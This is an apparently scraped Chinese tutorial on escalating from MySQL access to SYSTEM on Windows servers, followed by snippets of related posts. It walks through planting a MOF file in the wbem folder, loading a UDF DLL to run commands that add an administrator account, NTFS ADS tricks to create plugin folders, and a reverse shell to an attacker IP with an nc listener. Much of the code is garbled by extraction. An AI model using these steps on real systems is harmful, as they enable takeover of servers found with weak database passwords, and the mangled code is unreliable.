mysql提權總結

2022-02-13 15:10:33 字數 2862 閱讀 1070

windows管理規範提供了以下三種方法編譯到wmi儲存庫的託管物件格式(mof)檔案:

1、執行mof檔案指定為命令列引數講mofcomp.exe檔案。

2、使用imofcompiler介面和$compilefile方法。

3、拖放到%systemroot%\system32\wbem\mof資料夾的mof檔案。

micrsoft建議您到儲存庫編譯mof檔案使用前兩種方法。也就是執行mofcomp.exe檔案或使用imofcompiler:compilefile方法。

第三種方法僅為後相容性與早期版本的wmi提供,並因為此功能可能不會提供在將來的版本。

具體到mysql提權中,我們該怎麼利用?

1、找乙個可寫目錄上傳mof檔案,這裡我們上傳到了c:/wmpub/nullevt.mof,**如下:

其中第18行,上傳前請自己更改。

1

#pragma namespace("\\\\.\\root\\subscription")

23 instance of __eventfilter as

$eventfilter4;

1213 instance of activescripteventconsumer as

$consumer14;

2021

instance of __filtertoconsumerbinding

22;

2、執行load_file及into dumpfile把檔案匯出到正確的位置即可。

1select load_file('

c:/wmpub/nullevt.mof

') into dumpfile '

c:/windows/system32/wbem/mof/nullevt.mof' 

執行成功後,即可新增乙個普通使用者,然後可以更改命令,再上傳導出執行把使用者提公升到管理員許可權,然後3389連線就可以了。

功能:利用mysql自定義函式功能,將mysql的賬號轉化為system許可權。

適用場景:1、目標系統是windows(win2000, xp,win2003);2、擁有mysql的某個使用者賬號,此賬號必須有對mysql的insert和delete許可權和拋棄函式。

3、首先判斷mysql版本,如果大於5.1的話,就直接上傳udf.dll到mysql\lib\plugin\資料夾下,一般lib、plugin資料夾需要手工建立,mysql路徑可以用select @@datadir語句找出。

4、直接執行create function sys_eval returns string soname 'udf.dll',若成功則可直接執行命令。

udf提權也是最常見的提權方式。但是往往再執行過程中老是遇到"can't open shared library"的情況,這裡可以利用ntfs ads流來解決這個問題。

1、最常見的是直接使用udf.php此類的工具來執行udf提權。

連線mysql以後,先導出udf.dll到c:\windows\system32目錄下。

2、建立相應的函式並執行命令,具體如下:

1

create

function cmdshell returns string soname '

udf.dll';

2select cmdshell('

net user waitalone waitalone.cn /add');

3select cmdshell('

net localgroup administrators waitalone /add');

4drop

function

cmdshell; 刪除函式

5delete

from mysql.func where name=

'cmdshell

' 刪除函式

3、某些情況下,我們會遇到can't open shared library的情況,這時就需要我們把udf.dll匯出到lib\plugin目錄下才可以,但是默默情況下

plugin不存在,怎麼辦?還好有大牛研究出利用ntfs ads流來建立資料夾的方法:

select

@@basedir

;

//查詢到mysql的目錄

select

'it is dll

'into dumpfile '

c:\\program files\\mysql\\mysql server 5.1\\lib::$index_allocation

';

//利用ntfs ads建立lib目錄

select

'it is dll

'into dumpfile '

c:\\program files\\mysql\\mysql server 5.1\\lib\\plugin::$index_allocation';

//利用ntfs ads建立plugin目錄

執行成功以後再進行匯出即可。

假設我們掃到乙個mysql的root弱密碼,並且可以外連,但是伺服器上面的**又無法getshell,這時我們怎麼辦?

1、利用mysql客戶端工具連線mysql伺服器,然後執行下面的操作。(mysql.txt暫時沒有)

mysql.exe -h 172.16.10.11 -uroot -p

enter password:

mysql> \. c:\mysql.txt

mysql>select backshell("yourip",2010);

2、本地監聽你**的埠

nc.exe -vv -l -p 2010

成功後,你將獲得乙個system許可權的cmdshell,其實這個也是利用ufdf提權。

mysql提權原始碼 mysql提權

namp 掃瞄ip埠 cms 探測 wpscan kali 工具 wpscan 掃瞄出來使用者名稱。用使用者名稱登入ssh 然後利用mysql udf提權。2.gcc g shared wl,soname,raptor udf.so o raptor udf.so raptor udf.o lc 3...

mysql 提權 通過Mysql提權的幾種姿勢

本文記錄利用mysql資料庫,在拿到shell之後進行提權的兩種方法。一 udf提權 基本步驟 1 匯出udf.dll檔案到指定目錄 有些webshell整合,直接導 出即可,沒有,則需要上傳 2 基於udf.dll建立自定義函式cmdshell 3 利用自定義函式,執行高許可權cmd命令 以下按照...

提權總結 自用

systeminfo 檢視配置 感覺和phpinfo作用差不多,但是不用加括號 findstr 接目錄檔案,systeminfo被ban用 hostname 看主機名,可能主機名是伺服器所搭載的服務名稱 set 檢視環境變數 若為有讀寫許可權的盤,可以更換環境變數的檔案 再通過cmd呼叫 net u...